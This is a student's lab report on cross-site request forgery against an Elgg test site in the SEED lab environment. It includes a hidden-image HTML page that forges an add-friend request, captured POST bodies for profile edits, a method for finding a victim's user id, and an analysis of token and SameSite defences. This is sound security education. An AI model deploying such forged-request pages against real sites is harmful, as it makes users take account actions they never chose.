# Lab report: CSRF

Name: Guo Yuchen

Student ID: 1004885

## Task 1: Observing HTTP Request

HTTP GET request:

图形用户界面, 文本, 应用程序, 电子邮件

描述已自动生成

HTTP POST request:

图形用户界面, 文本, 应用程序, 电子邮件

描述已自动生成

## Task 2: CSRF Attack using GET Request

When adding Samy as friend, the http GET request is:

手机屏幕截图

描述已自动生成

http://www.seed-server.com/action/friends/add?friend=59&\_\_elgg\_ts=1700195851&\_\_elgg\_token=EvMLB3yqQO

Thus we construct the content of addfriend.html page to be:

<**html**>  
<**body**>  
<**h1**>This page forges an HTTP GET request</**h1**>  
<**img** src="http://www.seed-server.com/action/friends/add?friend=59" alt="image" width="1" height="1" />  
</**body**>  
</**html**>

Then when Alice visiting the <http://www.attacker32.com/addfriend.html>, the GET request is sent.

图形用户界面, 应用程序

描述已自动生成

## Task 3: CSRF Attack using POST Request

Observe how edit profile send post request:

文本

描述已自动生成

\_\_elgg\_token=St\_7cU6iNppX9Nt6Fve1UQ&\_\_elgg\_ts=1700196825&name=Alice&description=<p>Test edit profile</p> &accesslevel[description]=4&briefdescription=Test Brief description&accesslevel[briefdescription]=0&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid=56

Thus we get alice’s guid = 56. We change the code accordingly.

文本

描述已自动生成

After modifying the code, when Alice visit <http://www.seed-server.com/profile/alice> , the attack is carried out:

图形用户界面, 文本, 应用程序, 网站

描述已自动生成

*•* ***Question 1****: The forged HTTP request needs Alice’s user id (guid) to work properly. If Boby targets Alice specifically, before the attack, he can find ways to get Alice’s user id. Boby does not know Alice’s Elgg password, so he cannot log into Alice’s account to get the information. Please describe how Boby can solve this problem.*

Boby can try to add Alice to be his friend first, then examine the request sent:

文本

描述已自动生成

The add?friend=56 in the link shows that the guid of Alice is 56.

*•* ***Question 2:*** *If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim’s Elgg profile? Please explain.*

Yes. Although Boby does not know the visitor’s guid in advance, he can get it as soon as someone visit his website.

To get the visitor’s guid, for example, Boby can modify the website to run a code to let the visitor to send himself a message, since the sending only requires recipient’s guid, which is Boby’s. (The POST request looks like this: \_\_elgg\_token=HX2SmMVHJotS6hIggrWvjA&\_\_elgg\_ts=1700554541&recipients=&match\_on=users&recipients[]=56&subject=dde&body=<p>eee</p>)

Then Boby opens his message box, he can either replying to this message or sending add friend request to know the victim’s guid (the POST request for reply message looks like this: \_\_elgg\_token=awPvd2JEuEUuLColENuJiA&\_\_elgg\_ts=1700551307&recipients[]=57&original\_guid=62&subject=RE: hh&body=<p>77</p>).

After getting the user’s id, the website can trigger the post request to modify user’s profile.

## Task 4: Enabling Elgg’s Countermeasure

After enabling validation, the add friend attack fails:

图形用户界面, 应用程序

描述已自动生成

The edit profile attack fails as well:

图形用户界面, 网站

描述已自动生成

* *Explain why the attacker cannot send these secret tokens in the CSRF attack; what prevents them from finding out the secret tokens from the web page?*

Because attacker does not know what the secret tokens are, since Elgg’s security token is a md5 hash generated from the site’s session-specific token and an attacker cannot access the user’s session where the token is stored. Even if the attacker can force a user’s browser to make a request, they won’t be able to guess the correct token, and the malicious request will be rejected.

## Task 5: Experimenting with the SameSite Cookie Method

A: from <http://www.example32.com/testing.html>

<http://www.example32.com/showcookies.php> displays the cookie as:

图形用户界面, 文本, 应用程序

描述已自动生成

B: from <http://www.attacker32.com/testing.html>

<http://www.example32.com/showcookies.php> displays the cookie as:

图形用户界面, 文本, 应用程序

描述已自动生成

*• Please describe what you see and explain why some cookies are not sent in certain scenarios.*

* The cookie-strict is not sent when sending cross-site request as shown in B.
* When SameSite=strict, the browser sends the cookie only for same-site requests.
* When SameSite=Lax, the browser sends the cookie for all same-site requests and some cross-site request that is top-level navigation, and the method must not be POST.
* When SameSite=None, the browser sends the cookie with both cross-site and same-site requests.

[Reference: <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie>]

*• Based on your understanding, please describe how the SameSite cookies can help a server detect whether a request is a cross-site or same-site request.*

If a cookie’s SameSite property is set to be “strict”, browsers won’t send it in any cross-site requests.

*• Please describe how you would use the SameSite cookie mechanism to help Elgg defend against CSRF attacks. You only need to describe general ideas, and there is no need to implement them.*

Set the cookie’s SameSite property to be “lax”, and check whether this cookie is sent or not every time a request is received. If it is a cross-site POST request, it won’t be sent. The reason for not setting it to be strict is that it may lower the user-experience. By setting to lax, we can mitigate the risk compared to normal case.